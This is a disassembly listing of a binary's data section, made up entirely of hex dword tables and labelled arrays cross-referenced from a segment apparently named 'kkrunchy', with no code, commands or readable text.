		dd 0EED8FFEEh, 0FFEEA4FFh, 0E0FFED10h, 0EEE0FFEEh, 0FFED0CFFh
		dd 0E0FFEEDFh, 0ED14FFEEh, 0FFEEDCFFh, 0E4FFEFE4h, 0EFE4FFEFh
		dd 0FFEFE4FFh, 0DCFFEFE8h, 0EFE4FFEEh, 0FFEFE8FFh, 0FFEED8h
		dd 20084130h, 41200041h, 28412004h, 20B04120h, 4120B841h
		dd 944120F0h, 20984120h, 41209C41h, 0A44120A0h,	20A84120h
		dd 4120AC41h, 0A44120ACh, 20AC4120h, 4120A441h,	0CC4191CCh
		dd 20744191h, 41207841h, 804120F8h, 20844120h, 4120AC41h
		dd 884191C4h, 91BC4120h, 41208C41h, 0C44120A4h,	20904191h
		dd 4191C041h, 0E4412070h, 20B84121h, 41225841h,	8041225Ch
		dd 22804122h, 41225041h, 54419228h, 225C4122h, 41228041h
		dd 0B8412280h, 91D04120h, 41206841h, 8041206Ch,	20B84122h
		dd 4121E441h, 944191D8h, 20984120h, 4121E441h, 44412064h
		dd 22484122h, 41224C41h, 48412244h, 22304122h, 41223441h
		dd 48412238h, 22444122h, 41205C41h, 24412060h, 92284192h
		dd 41922441h, 2C419228h, 0A2684192h, 41205841h,	2C419634h
		dd 22284122h, 41222841h, 28412250h, 22244192h, 41922841h
		dd 48412250h, 22244122h, 41224841h, 28419224h, 922C4192h
		dd 41922441h, 1841222Ch, 221C4122h, 41227841h, 3C41922Ch
		dd 22144122h, 41223C41h, 144191D8h, 92244122h, 41222C41h
		dd 38412208h, 922C4122h, 41922441h, 841222Ch, 22384122h
		dd 41221441h, 1041922Ch, 20A44122h, 41224041h, 58412220h
		dd 22444122h, 41221441h, 1841222Ch, 22484122h, 41225441h
		dd 4841224Ch, 22484122h, 41225441h, 48412248h, 22604122h
		dd 4120A441h, 6041205Ch, 964C4120h, 41964041h, 6C419644h
		dd 966C4196h, 41964C41h, 4041209Ch, 96484196h, 41964441h
		dd 0A44120ACh, 209C4120h, 4120A041h, 0F04120ACh, 209C4120h
		dd 4120A841h, 4120ACh, 200C4120h, 41202841h, 0B8412054h
		dd 20544120h, 41204441h, 4C412048h, 20AC4120h, 41205041h
		dd 54412014h, 20404120h, 41201041h, 28412004h, 20944120h
		dd 41209841h, 0B841203Ch, 20484120h, 4121EC41h,	0AC412070h
		dd 21E44120h, 41209441h, 90412098h, 2054413Bh, 41205441h
		dd 684120B8h, 20B04120h, 41208441h, 94412264h, 20984120h
		dd 413B9041h, 64412054h, 20644122h, 41226441h, 58412064h
		dd 22484122h, 41223041h, 0A44120A4h, 20384120h,	41207C41h
		dd 30412018h, 20344120h, 41200041h, 2841200Ch, 3FCC4120h
		dd 41228041h, 28419224h, 922C4192h, 41228441h, 0CC4120D0h
		dd 21EC4120h, 4120D041h, 0DC4120CCh, 20D84120h,	4120D441h
		dd 0D84120DCh, 20D44120h, 4120DC41h, 0D44120D8h, 96704120h
		dd 41969041h, 0E0000000h, 91D84120h, 41h, 4120ACh, 0
		dd 41969000h, 90419698h, 96904196h, 41969041h, 904120ACh
		dd 96904196h, 4120E441h, 904120ACh, 20E44196h, 4120AC41h
		dd 0E84120A4h, 20EC4120h, 4120F441h, 0A841969Ch, 206C4196h
		dd 4196A441h, 5C4196B0h, 20604120h, 4196A041h, 0B04196A0h
		dd 969C4196h, 4196A841h, 544196A4h, 224C4122h, 41223441h
		dd 0AC4120BCh, 21EC4120h, 4120A441h, 14414F20h,	4F00414Fh
		dd 4121F441h, 0D84121F0h, 4ECC414Eh, 414E9841h,	58414E68h
		dd 4E50414Eh, 41200041h, 2841200Ch, 20284120h, 414DD441h
		dd 0B8414DC4h, 8E20414Dh, 418E0041h, 4414D10h, 4CF8414Dh
		dd 414CEC41h, 0D0414CDCh, 4CC0414Ch, 414CB041h,	90414CA0h
		dd 4C84414Ch, 414C7841h, 64414C6Ch, 4C48414Ch, 414C3C41h
		dd 24414C30h, 4C14414Ch, 414C0041h, 0E8414BF0h,	4BAC414Bh
		dd 414B8041h, 54414B60h, 4B44414Bh, 414B3841h, 1C414B28h
		dd 4B10414Bh, 414B0441h, 0CC414AE4h, 4AC0414Ah,	414AAC41h
		dd 0A44120A4h, 4A98414Ah, 414A9041h, 0D8414A84h, 4A584191h
		dd 414A4C41h, 2C414A38h, 4A24414Ah, 414A1841h, 98412094h
		dd 21E44120h, 41206441h, 0CC414A0Ch, 49C44149h,	4149B841h
		dd 0A44149B0h, 49944149h, 41498C41h, 28419224h,	20A44192h
		dd 41922C41h, 24414900h, 92284192h, 41922C41h, 0B841922Ch
		dd 48584148h, 41224841h, 841222Ch, 22204122h, 41224041h
		dd 2C414838h, 48204148h, 41481841h, 441480Ch, 47F84148h
		dd 4147E841h, 0CC4147D4h, 47C04147h, 4147B841h,	0B8418E20h
		dd 0A268419Ah, 41A3E841h, 3441A1E8h, 8ED04120h,	418F5041h
		dd 44419D44h, 20A4419Dh, 419D4441h, 44419D44h, 9D44419Dh
		dd 4121F841h, 0C44120C8h, 21FC4120h, 4120C041h,	104120ACh
		dd 20344121h, 418E1841h, 68419E54h, 2024419Eh, 41202041h
		dd 7C41201Ch, 9E80419Eh, 419E8441h, 7C419E88h, 9E80419Eh
		dd 419E8441h, 7C419E88h, 9E80419Eh, 419E8441h, 84419E88h
		dd 9E80419Eh, 419E7C41h, 84419E88h, 9E80419Eh, 419E7C41h
		dd 88419E88h, 9E84419Eh, 419E8041h, 90419E7Ch, 2258419Eh
		dd 41225841h, 58412258h, 22584122h, 41225841h, 58412258h
		dd 22584122h, 41225841h, 58412258h, 20A44122h, 41207041h
		dd 1441920Ch, 920C4192h, 41204841h, 0AC412070h,	20AC4120h
		dd 41921441h, 4841222Ch, 22544122h, 41220841h, 58412220h
		dd 22204122h, 41224041h, 0C04191D0h, 77AC4177h,	41779841h
		dd 74417784h, 775C4177h, 41775041h, 1441773Ch, 76FC4177h
		dd 41766C41h, 344120A4h, 222C4176h, 41224841h, 18412254h
		dd 221C4122h, 41226041h, 68412214h, 22304122h, 41224041h
		dd 48412254h, 7CB54122h, 417CB541h, 20419EBCh, 9EBC418Eh
		dd 419EC041h, 58419EC0h, 7DC64122h, 41221041h, 144120A4h
		dd 22104122h, 4120A441h, 0A4412210h, 7DC64120h,	41225841h
		dd 0A44191D0h, 20A44120h, 4120A441h, 98412280h,	7DC6417Dh
		dd 417D9841h, 804120A4h, 20004122h, 41200C41h, 0C412028h
		dd 20D04121h, 4120A441h, 204120A4h, 21EC4192h, 4121EC41h
		dd 10412104h, 21044121h, 4120A441h, 412110h, 21044122h
		dd 41210441h, 0A4412040h, 21104120h, 41210841h,	44120A4h
		dd 20A44121h, 4120A441h, 20000000h, 21F04192h, 41200041h
		dd 2C412028h, 22704122h, 41224C41h, 6C41221Ch, 22544122h
		dd 41225841h, 48412248h, 22304122h, 41223041h, 48412248h
		dd 20A44122h, 4120A441h, 0B8412240h, 4120h, 4120FC00h
		dd 8418E0Ch, 8E04418Eh,	418E0041h, 4120A4h, 206C4121h
		dd 41209441h, 74412098h, 91D84122h, 41226441h, 0D041213Ch
		dd 21CC4121h, 4121C841h, 0C04121C4h, 21BC4121h,	4121B841h
		dd 0B04121B4h, 21AC4121h, 4121A841h, 0A04121A4h, 219C4121h
		dd 41219841h, 90412194h, 218C4121h, 41218841h, 80412184h
aAAxAtApAlAhAdA	db '!A|!Ax!At!Ap!Al!Ah!Ad!A`!A\!AX!AT!AP!AL!AH!AD!A@!A8!A4!A0!A,!A(!A'
		db 0
		align 4
		dd 0DC41220Ch, 20B44121h, 4121D441h, 1C412118h,	21204121h
		dd 41212441h
dword_3FEF40	dd 0B84191C4h, 91BC4191h, 4191C041h, 0CC4191CCh, 91C44191h
					; DATA XREF: kkrunchy:003EA440o
		dd 4191B841h, 0E04191BCh, 91E84191h, 4191EC41h,	0F44191F0h
		dd 91F84191h, 4191FC41h, 4419200h, 92084192h, 41920C41h
		dd 14419210h, 92184192h, 41922441h, 2C419228h, 92204192h
		dd 41921C41h, 4C419638h, 96404196h, 41964441h, 0D0419648h
		dd 921C4191h, 4143A041h, 704143A0h, 96984196h, 41h, 0D0000000h
		dd 96984191h, 41969841h, 98419698h, 96904196h, 41969841h
		dd 90419698h, 96984196h, 41969841h, 0E0419698h,	96A04191h
		dd 41969C41h, 0A44196A8h, 9FD04196h, 4191D841h,	44419D44h
		dd 9D44419Dh, 419D4C41h, 0B84191D0h, 7CB8417Ch,	4143A041h
		dd 0D0000000h, 9FD4419Fh, 419FD841h, 419FDCh
		db 2 dup(0)
word_3FF01E	dw 0B800h		; DATA XREF: kkrunchy:003EA444o
		dd 0A5E10004h, 14A0D00h, 49C20001h, 604BE00h, 0D0000101h
		dd 4CA0004h, 86CB00h, 0C4003639h, 9240004h, 5400050Bh
		dd 0B0B0A38h, 75E6F00h,	0D600070Dh, 357C0004h, 5D5800h
		dd 171704E2h, 4DC0006h,	170A090Bh, 1A04E800h, 16161A1Ah
		dd 710150Bh, 1413060Dh,	1B04EE00h, 0A090Bh, 100506h, 2C04h
		dd 170B1005h, 2D9D00h, 0F40004FAh, 17171704h, 210B17h
		dd 9102D70h, 2070Ah, 1081A7h, 2A00A459h, 26440009h, 292A001Fh
		dd 5160010h, 0E7002C24h, 86590085h, 0B276700h, 5100017h
		dd 170B3022h, 0B171717h, 102B2125h, 102B21h, 0D32051Ch
		dd 12121212h, 120D1409h, 20140912h, 7052E00h, 2DF60022h
		dd 37052800h, 52200h, 251F01BAh, 21233623h, 25252121h
		dd 0B020A09h, 7093000h,	222A700h, 3C02023Ch, 2020202h
		dd 702023Ch, 2060637h, 17020237h, 173A3A34h, 42DF000Bh
		dd 100B100Bh, 0A515000Dh, 1306061Dh, 62160014h,	87DB002Eh
		dd 321A1A0Dh, 1A1A0D09h, 7060932h, 7290706h, 0A0202h, 0A090540h
		dd 2F0B102Ah, 72DB200h,	3A700002h, 1D1D1D02h, 25252207h
		dd 3D102B2Fh, 1413060Dh, 28282835h, 292828h, 52520570h
		dd 2A503252h, 92002B20h, 2700562Dh, 5A575962h, 2B202A50h
		dd 20030257h, 2292957h,	575A1A0Dh, 7E8000Ah, 0D0A576Ah
		dd 576A0957h, 0A2AF700h, 244B001Ah, 57781A57h, 1F005778h
		dd 6A494A2Eh, 780A0949h, 1A10321Ah, 28182828h, 28280718h
		dd 7282828h, 18280718h,	28282807h, 7180728h, 28071828h
		dd 7282828h, 28280718h,	18282828h, 28282807h, 18072828h
		dd 28282807h, 18072828h, 0A4930007h, 4FA4C300h,	5728834Eh
		dd 0D571010h, 32060613h, 1A143232h, 61D20009h, 0D620000h
		dd 0D057600h, 0A021A0Ah, 0B000712h, 0A090A62h, 0A0B0B0Ch
		dd 14090D10h, 69AC0032h, 0B0A0D32h, 2828320Ah, 3C3C3C28h
		dd 207073Ch, 0B0B0D09h,	0B07180Dh, 0A0A0B1Dh, 1D03021Dh
		dd 21231Fh, 21D3E31h, 211F1D03h, 71D1D1Dh, 2828289Ch, 70D0702h
		dd 1D031D9Dh, 0EA5A800h, 1D031D28h, 3039BA0h, 97A0A09Bh
		dd 1A9E9Ch, 1D9D057Ch, 0EA01D03h, 449E9C9Bh, 0A09B0303h
		dd 449E9CA0h, 520A0949h, 221A0B61h, 1A202925h, 5E222522h
		dd 25225E22h, 2A0A0925h, 0D2F0B10h, 9020257h, 0A5C5D00h
		dd 102B2F57h, 20D2928h,	7140906h, 21A1Ah, 1AAB4E4Fh, 0A93C071Ah
		dd 0B4B4B4B4h, 29322928h, 5B000202h, 0B6BABA4Bh, 18B6B6B6h
		dd 202BABAh, 0BF180202h, 61000BFh, 59000C1h, 0A090Eh, 0B35B5AB7h
		dd 100B35C0h, 214130Dh,	57201703h, 0C7C71717h, 0C7C7C7C7h
		dd 2030228h, 7352003h, 17361722h, 78001725h, 0A092506h
		dd 5B290002h, 20202h, 0C85623F9h, 100B35C9h, 1A14130Dh
		dd 9068000h, 1DD01A0Ah,	0D100B1Dh, 0B0001413h, 6A00006h
		dd 0CBD5D4CBh, 0DCBD5D4h, 412E0A89h, 760000Dh, 8B41020Ah
		dd 66000A0Ah, 1A0ADD07h, 8D1A8B8Dh, 8D8B32ADh, 0B008B35h
		dd 32AD8D69h, 358D1A8Bh, 8D1AE48Bh, 8B0B0A09h, 8D0B8B8Dh
		dd 0A5130D0Bh, 78001A0Ah, 72001A07h, 0F11A07h, 9F2076Ch
		dd 0EFEE090Ah, 0B0B0B0Bh, 3202090Dh, 32323232h,	200B490Ah
		dd 4A2207h, 7E004A76h, 8D8B0B07h, 0F50A0925h, 20D100Bh
		dd 9030202h, 7E4FA14h, 0FC078400h, 964A0049h, 90202h, 444BF94Bh
		dd 0A688C700h, 0A8F70706h, 97980007h, 97C400h, 0D000951Ah
		dd 4BE0095h, 944E00h, 0AE00982Eh, 909397h, 0CA0A5E1h, 0A00CA0A0h
		dd 0D04D000h, 0D0D0Dh, 4300CE4Ch, 0F0ED2h, 0CF1AEh, 0A086CBh
		dd 0DB0034AAh, 91333F01h, 0B400h, 150000h, 0B000010Ah
		dd 0CD00E704h, 0E7FD00E6h, 15C00h, 0B80049C2h, 0EBA70004h
		dd 4C40008h, 110608h, 0D90004CAh, 4E200A4h, 1E082106h
		dd 111F1109h, 95E54CE3h, 0DA2F00h, 44F9656Ch, 32441C1Ch
		dd 24002D2Eh, 0FB3B0009h, 3E1144h, 11118149h, 8A000808h
		dd 92929207h, 211192h, 2104E8h,	214FA459h, 68E90800h, 3CD22B11h
		dd 0C532241Ch, 0C6CE11CCh, 22004411h, 8D50085h,	0E2C20044h
		dd 0D884300h, 35AB1Fh, 0E2AB9236h, 0ABB31B37h, 51C0038h
		dd 0C5242433h, 24CF2424h, 245624C8h, 0C52424CDh, 24CF2424h
		dd 245624C8h, 242424CDh, 0AB242424h, 1B1E322Fh,	1C1CE086h
		dd 1CA48000h, 0A0A01C1Ch, 440C4BA0h, 441C1CA0h,	1C98C544h
		dd 0C396030Ch, 0C8CFCF1Ch, 0DC002929h, 1C0C1C04h, 361C440Ch
		dd 790C0C7Ah, 0C36A0A0h, 0A0A0790Ch, 394938h, 0EE000790h
		dd 497C0804h, 83D3C39h,	3D39497Ch, 83D3D3Ch, 3D3C497Ch
		dd 39417C08h, 24298408h, 24242440h, 1C082424h, 3933281Ch
		dd 240EA800h, 3B3B24F7h, 98C5243Bh, 96030C1Ch, 0CFCF1CC3h
		dd 392929C8h, 24242B24h, 4D60024h, 3540401Ch, 241C515Fh
		dd 28002438h, 1B671B05h, 9F72424h, 0AB1C0B0Ah, 31052E00h
		dd 242424ABh, 28240808h, 24240808h, 80808E4h, 76003337h
		dd 540006Ah, 242424AAh,	0B0A0907h, 0FA0CF7AAh, 0F644A0A0h
		dd 80831h, 0CC0098A4h, 996B0098h, 57545352h, 370D58h, 5C0796h
		dd 9C0007A2h, 0D5F07h, 620D9A38h, 2862280Dh, 99F30028h
		dd 286462h, 6A21A2D8h, 2 dup(6A216A21h), 296E3721h, 54535229h
		dd 0F77D277Eh, 7C7F4B3Eh, 4B337Fh, 2877D399h, 0D0D280Dh
		dd 0D0D0D0Dh, 7C0D0D08h, 7C7F4B7Fh, 794B337Fh, 0D0D287Ah
		dd 7C0D0D0Dh, 2D004B7Fh, 0ACBD00C4h, 812D9D00h,	0D79817Fh
		dd 0A8000D0Dh, 0D0D0DC5h, 7F4B0D6Fh, 792E1F00h,	0D0D0D29h
		dd 0D0D0D0Dh, 0D0D280Dh, 0D280D0Dh, 0D280D28h, 0D0D0D28h
		dd 4B847F0Dh, 211D0079h, 0D07A800h, 847F0D0Dh, 847F847Fh
		dd 0D0D0D0Dh, 28A70D0Dh, 0D0D0D28h, 847F0D0Dh, 0D82287Fh
		dd 0D0D0D0Dh, 4B7F0Dh, 847F2C04h, 847F847Fh, 858585h, 79882D70h
		dd 0D0D280Dh, 0D0D0D0Dh, 0D280D0Dh, 7F797F0Dh, 7F2DF600h
		dd 2 dup(7F8E7F8Eh), 820D0D8Eh,	0D0D0D0Dh, 0D7F7F0Dh, 0D0D0D28h
		dd 0C1004B7Fh, 7F8E7FD2h, 0D8E7F8Eh, 0D0D0D86h,	8E7F8E7Fh
		dd 0D828E7Fh, 8E7F0D0Dh, 0D1E8F8Fh, 4B941F1Fh, 287D7D90h
		dd 0D282828h, 0D08930Dh, 0BA004808h, 482407h, 482807B4h
		dd 0D0D2897h, 281E8787h, 0AE00870Dh, 870D8707h,	28288798h
		dd 95951F94h, 8A894B27h, 299A9A28h, 892929h, 92000506h
		dd 510002Dh, 8A9F7Fh, 8480500h,	0B200847Fh, 0ABABAB2Dh
		dd 5220001h, 9E4848h, 0F4000516h, 48A2A504h, 8487F08h
		dd 0A59E897Fh, 48A2A5A6h, 488A7F08h, 48847F08h,	489D7F08h
		dd 3EEC7F08h, 487F0848h, 848A7F08h, 39F7B2A3h, 0B28E7F08h
		dd 83937F7h, 0F7B28E7Fh, 2A001F0Dh, 0A78909h, 0E29F2644h
		dd 27670011h, 2A009FDCh, 0A8E229h, 1E2338h, 0DE0357Ch
		dd 8C00351Fh, 119E2824h, 28A5A6A5h, 70000808h, 0A5A1A505h
		dd 1BECEDA1h, 1EE2A23Eh, 0D0DE0B0h, 0D90330Dh, 0B537B5B5h
		dd 2929296Eh, 7F1C0D1Ch, 74741B1Bh, 7FA19EF7h, 0D84A2A1h
		dd 0EC0C0Ch, 3E1C24DEh,	0C0C0DB8h, 0DA38428h, 0BDB92828h
		dd 0B82B4400h, 0BDB9BCBAh, 0BCBAB89Fh, 0D9FBDB9h, 11E2AA1Fh
		dd 9FDCAB1Ch, 331EE2ACh, 0B0A92929h, 847F37E0h,	4E4F0047h
		dd 3000C8C8h, 0A4C9A409h, 1F0DC9C9h, 0BE244B00h, 3000C78Ah
		dd 1CA92925h, 0BF1C1CC2h, 1F0D9FC0h, 2849F000h,	0D240C1Ch
		dd 1C0C0Ch, 9C004D8Ch, 296E004Ch, 0EA22AFE2h, 2111EB39h
		dd 0F7D01C21h, 299600C1h, 2A1B0021h, 1E2AB500h,	1FDC0Dh
		dd 11BE29C6h, 212AF700h, 2B2F0011h, 0A700CEE2h,	0C1C3322h
		dd 1E333324h, 0E00D1B1Bh, 0C8111F0Dh, 0AF0C0C0Dh, 0D1E8922h
		dd 111F9FDCh, 1EE211C8h, 0DE00D1Bh, 0C1B1C1Fh, 1139083Dh
		dd 0E0B01EE2h, 89211F0Dh, 2111219Fh, 3333E211h,	0B01B1B1Eh
		dd 0D11F0DE0h, 0A92111E2h, 0D4D3D2C1h, 11257F00h, 0D71121D6h
		dd 1E3333E2h, 0D463333h, 0A45D5800h, 0D00A4A4h,	3D1C1C4Ah
		dd 0D9E399Eh, 6F00E51Fh, 0A59E115Eh, 0A21EA5A6h, 4747A2A1h
		dd 0A4474747h, 0A4A4A4A4h, 111F11E4h, 0E3B01EE8h, 0D07C800h
		dd 0F000E81Fh, 7FE0007h, 0ECEC11E8h, 0EDECECEDh, 8EDECECh
		dd 2 dup(47474711h), 47474747h,	47474711h, 47114747h, 28114747h
		dd 1EE81128h, 1F0DE3B0h, 0E8F7F7C9h, 0B01EE811h, 0E6E6E6E3h
		dd 0F2F2F2F2h, 281F0D4Bh, 35BE3511h, 0CC3533E1h, 0C3000833h
		dd 391B1BFBh, 111B111Bh, 1B331EE8h, 0A29EE30Dh,	0A5A6A59Eh
		dd 1FBF7A2h, 0DF00394Bh, 1D7B0042h, 35B700h, 69C65B98h
		dd 600734Dh, 37375696h,	81C3737h, 0D1001C1Ch, 40002B40h
		dd 3784355Ah, 4CA33540h, 8187C00h, 57C003Eh, 1B085F00h
		dd 88300h, 0FE000952h, 76C0008h, 22095800h
dword_3FF9CC	dd 1A70208h, 5BA031Eh, 3D00BBh,	0 ; DATA XREF: kkrunchy:003EA448o
		dd 129h, 0EF018Fh, 90C90h, 2 dup(0)
		dd 26004Bh, 3E201D5h, 4303F8h, 33068Ah,	4B0000h, 27Eh
		dd 3 dup(0)
		dd 0D0510h, 90000h, 3 dup(0)
		dd 1C0000h, 40199h, 1CE0A74h, 5490000h,	1A0584h, 21E007Bh
		dd 2360000h, 22504ECh, 194008Eh, 4, 248h, 0D80073h, 2D0684h
		dd 1B0000h, 0Dh, 1E70000h, 0D0FB6h, 113001Bh, 232029Ch
		dd 8940005h, 27001Bh, 5DA017Dh,	270A26h, 1AF0451h, 4F903BCh
		dd 1BF0438h, 6A9023Eh, 0B38h, 0
		dd 592h, 0B001Dh, 5E401E1h, 59A0000h, 3	dup(0)
		dd 1F0000h, 0A520000h, 4B2046Ch, 0
		dd 28C0000h, 33h, 0ACE013Dh, 0A220FDEh,	2050000h, 0B92h
		dd 24A0246h, 1BC0000h, 750h, 0
		dd 18A0189h, 0
		dd 120000h, 4B8026Fh, 1A10000h,	190436h, 0
		dd 29900216h, 760073h, 181415h,	22160E17h, 14150000h, 20DA0CC3h
		dd 0
		dd 14150000h, 7413A0h, 1D101D0Dh, 14150000h, 1414h, 740073h
		dd 13681B1Bh, 26A0EB1h,	13E6h, 13E5h, 0E630E64h, 59913FEh
		dd 13FB0598h, 141313FCh, 1E13A0h, 0
		dd 20056h, 138813FDh, 14FD0076h, 14FEh,	0
		dd 59A0599h, 16C016C1h,	740073h, 73h, 131F0067h, 109A0364h
		dd 13FE13FDh, 249B0000h, 249Ch,	0
		dd 750000h, 76h, 760075h, 13AF0065h, 11416h, 249B0002h
		dd 242Ch, 700000h, 5990000h, 99059Ah, 240000h, 5Dh, 0F20989h
		dd 21010Dh, 0BEE0151h, 6BB0D59h, 78C0C8Ah, 7A50000h, 141507A6h
		dd 0E110E12h, 12FEh, 1390118h, 210000h,	15C0000h, 1, 2
		dd 0
		dd 16C216C1h, 10000h, 5970000h,	1E1A10CDh, 0
		dd 1A0019h, 315h, 31A0003h, 171h, 1760003h, 0
		dd 0D0A054Fh, 490000h, 0BC405BCh, 8EEh,	40DB7h,	13B0000h
		dd 0
		dd 0EF00000h, 2	dup(0)
		dd 8ED0000h, 7C908EEh, 210321h,	0A1606D1h, 9000A15h, 11E008FFh
		dd 3 dup(0)
		dd 38208F7h, 576h, 3 dup(0)
		dd 33C033Bh, 15E015Dh, 3A6h, 90226h, 26AA013Bh,	0
		dd 39E0000h, 2200000h, 0
		dd 2C60000h, 0A4C0000h,	7900000h, 1F5h,	740000h, 50188h
		dd 274h, 2C80000h, 60Ah, 2 dup(0)
		dd 13F0000h, 14C000Bh, 5E20000h, 8 dup(0)
		dd 0C820000h, 60000h, 5370023h,	8EAh, 29D0000h,	0EA0h
		dd 2070000h, 53h, 54h, 53h, 2ED0000h, 2EEh, 207025Ch, 1E40024h
		dd 0
		dd 8060873h, 32E006Eh, 2 dup(0)
		dd 9FC0000h, 0B0000h, 270035h, 2220203h, 1D0000h, 99C0469h
		dd 1870724h, 54A0594h, 3 dup(0)
		dd 40000h, 3, 15029Ah, 77401E2h, 51Bh, 46Eh, 32C034Bh
		dd 1850000h, 73A01A5h, 2 dup(0)
		dd 4320000h, 14Bh, 2B01E1h, 9F8h, 3BC0000h, 9Bh, 54A01B7h
		dd 3 dup(0)
		dd 21091Ah, 9B0000h, 3 dup(0)
		dd 32D0000h, 1F12E6h, 7Bh, 330033h, 2DC061Bh, 1D70000h
		dd 4C6h, 0
		dd 0C709A3h, 11F0000h, 1BD20000h, 0Dh, 2 dup(0)
		dd 15h,	3 dup(0)
		dd 0CF00537h, 0B0000h, 38019Dh,	1CF00D7h, 119Fh, 0
		db 68h,	1Ch
word_3FFE5A	dw 0			; DATA XREF: kkrunchy:003EA44Co
		dd 0FFFFFF00h, 0FFFF00FFh, 0FF000000h, 2 dup(0FFFFFFFFh)
		dd 0FF00FFFFh, 2 dup(0FFFF0000h), 0FFFFFFh, 0FF00FFFFh
		dd 0FF0000h, 0FFFFFFFFh, 2 dup(0)
		dd 0FFFFFF00h, 0FFFFh, 0FF0000h, 0FFFFFF00h, 0
		dd 0FFFFFF00h, 0FFFF0000h, 0FFFFFFFFh, 0
		dd 0FFFF00h, 2 dup(0FFFFFFFFh),	0FF00FFh, 0FFFFFFh, 0FFFF00FFh
		dd 0FFFFFFFFh, 0FFFFFFh, 0FFFF00FFh, 0FFFFFFFFh, 0FF0000FFh
		dd 3 dup(0FFFFFFFFh), 0FF00FF00h, 0FFFFFFh, 0
		dd 2 dup(0FFFFFFFFh), 2	dup(0FF00FFFFh), 2 dup(0FFFFFFFFh)
		dd 0FFFFh, 0Dh dup(0FFFFFFFFh),	0FFFF00FFh, 0FF00FFh, 2	dup(0FFFFFFFFh)
		dd 0FFh, 3 dup(0)
		dd 0FF0000FFh, 2 dup(0)
		dd 0FF00FFh, 0FF0000FFh, 0
		dd 0FF000000h, 2 dup(0FFFFFFFFh), 0FFFFFF00h, 0FFFFFFh
		dd 0FFFFh, 0FF000000h, 3 dup(0FF00FF00h), 0FF00h, 0FF00FFh
		dd 3 dup(0)
		dd 0FFh, 0
		dd 0FFh, 3 dup(0)
		dd 0FF000000h, 0FF00FFFFh, 0FFFFFFFFh, 0
		dd 0FF000000h, 0FFFFFFFFh, 0FFFF00FFh, 0FF000000h, 0FF00FF00h
		dd 8 dup(0FFFFFFFFh), 0FF00FF00h, 0FFFF00FFh, 0FF00FFFFh
		dd 0FFFF00h, 0FFFFFF00h, 5 dup(0)
		dd 0FFFFFFh, 0FFFFFFFFh, 0FFFF0000h, 0FFFF00FFh, 0FFh
		dd 0
		dd 0FFFFFFFFh, 0FF00h, 0FFFF00FFh, 0FFFFFFFFh, 2 dup(0FFFFFF00h)
		dd 0FFFFFFFFh, 0FF00FF00h, 0
		dd 0FFFF00FFh, 0FF00FFh, 0FF0000h, 0FFFF00h, 0
		dd 2 dup(0FF0000h), 0FFFFFFFFh,	0FF00FFh, 0FFFF00h, 0FFFFh
		dd 0
		dd 0FFFF0000h, 0FFFFFFh, 0FF00h, 0FF00FF00h, 0FFFFFFFFh
		dd 2 dup(0)
		dd 0FF0000FFh, 0FFFF00FFh, 3 dup(0FFFFFFFFh), 0FF00FFh
		dd 2 dup(0FFFFFFFFh), 0FFFF00FFh, 2 dup(0FFFFFFFFh), 2 dup(0FFh)
		dd 2 dup(0FFFFFF00h), 3	dup(0FFFFFFFFh), 0FFFFFFh, 0FF00FFh
		dd 2 dup(0FFFFFFFFh), 0FF00FF00h, 0FFFFFF00h, 0FFFFFFFFh
		dd 0FF00FFFFh, 0FF00FFh, 0FFFF00h, 0FFFFFFFFh, 0FFFFh
		dd 0FFFFFFh, 0FF00FF00h, 2 dup(0FFFFFFFFh), 0FFh, 3 dup(0)
		dd 0FFFF0000h, 0FFFFFFh, 0
		dd 0FF0000h, 0FFh, 0
		dd 0FF00FFFFh, 0FFh, 0
		dd 0FFh, 0
		dd 0FF0000h, 0FF0000FFh, 0FFFFh, 0
		dd 0FF0000h, 0FFFFFFFFh, 0FFFFh, 0FFFFFFFFh, 0FFh, 0FFFFFFFFh
		dd 0FF00FF00h, 0FF00h, 0FF00FFh, 2 dup(0FFFFFFFFh), 0FF00FFFFh
		dd 0FFFFFFFFh, 0FF00FF00h, 0FFFFFF00h, 0FFFF00h, 0FFFF0000h
		dd 2 dup(0FFFFFFh), 0FFh, 0FF00FFh, 0FFh, 2 dup(0FF00FFh)
		dd 0FF0000h, 0FF00h, 0FFh, 0FF00h, 0FFFF00FFh, 0FF00FFFFh
		dd 0FF00h, 0FF0000FFh, 0FF00FF00h, 0FF00h, 2 dup(0)
		dd 0FF0000h, 0
		dd 0FF0000FFh, 0FF000000h, 0
		dd 0FFh, 0FF00FF00h, 0FFFFFFFFh, 0
		dd 0FF0000FFh, 0FF0000h, 2 dup(0)
		dd 0FFh, 0FF0000h, 0FFh, 3 dup(0FFFFFFFFh), 0FFFFFFh, 0
		dd 0FFFFFFh, 0FFFF00h, 0FFFFFFFFh, 0FF00FFFFh, 0FFFFFFFFh
		dd 0FFFF00FFh, 0FF0000FFh, 0FFh, 0FFFFFFFFh, 0FFFF00FFh
		dd 0FFFFFFh, 0FF0000h, 0FFFF00h, 0FFFFFFFFh, 0FFFFFF00h
		dd 0FFh, 0
		dd 0FFFFFFFFh, 0FF00FFFFh, 0FFFFFFFFh, 0FFFF00FFh, 3 dup(0FFFFFFFFh)
		dd 0FFFFh, 2 dup(0FFFFFFFFh), 4	dup(0)
		dd 0E8D70000h, 47F5C124h, 8B69FDA8h, 0FD6B89FFh, 0C0F649A6h
		dd 2D6E926h, 0C321E7D8h, 0FCA945F4h, 87FF8D67h,	4BA4FD6Dh
		dd 0EA28BEF6h, 0E6D904D4h, 43F4C41Fh, 8F65FCABh, 0FE6F85FFh
		dd 0BDF74EA3h, 0EB2Ah, 7 dup(0)
		dd 0FFFFFFFFh, 0FFFFFF00h, 0FFFFFFFFh, 0FF0000FFh, 0FFFFFF00h
		dd 2 dup(0FFFFFFFFh), 0FFh, 0FFFFFF00h,	0FFFF0000h, 0FFFFFFFFh
		dd 0FFFFh, 0FFFF00FFh, 0FFFFFFFFh, 0FFh, 0FFFFFF00h, 0FF00FF00h
		dd 0FFFFh, 0FF00h, 0FF0000h, 2 dup(0)
		dd 0FF00h, 0FF00FF00h, 6 dup(0FFFFFFFFh), 0FF000000h, 0FFFFFF00h
		dd 0FFFFFFFFh, 2 dup(0FF00FFh),	5 dup(0FFFFFFFFh), 0FFFF00FFh
		dd 2 dup(0FFFFFFFFh), 0FFFFFFh,	0FF000000h, 0FFFFFF00h
		dd 3 dup(0FFFFFFFFh), 0FF0000h,	3 dup(0FFFFFFFFh), 0FF00FFFFh
		dd 0FFFFFFFFh, 0FF0000h, 6 dup(0FFFFFFFFh), 0
		dd 0FF00FF00h, 0FFFFFFh, 0FFFFFF00h, 4 dup(0FFFFFFFFh)
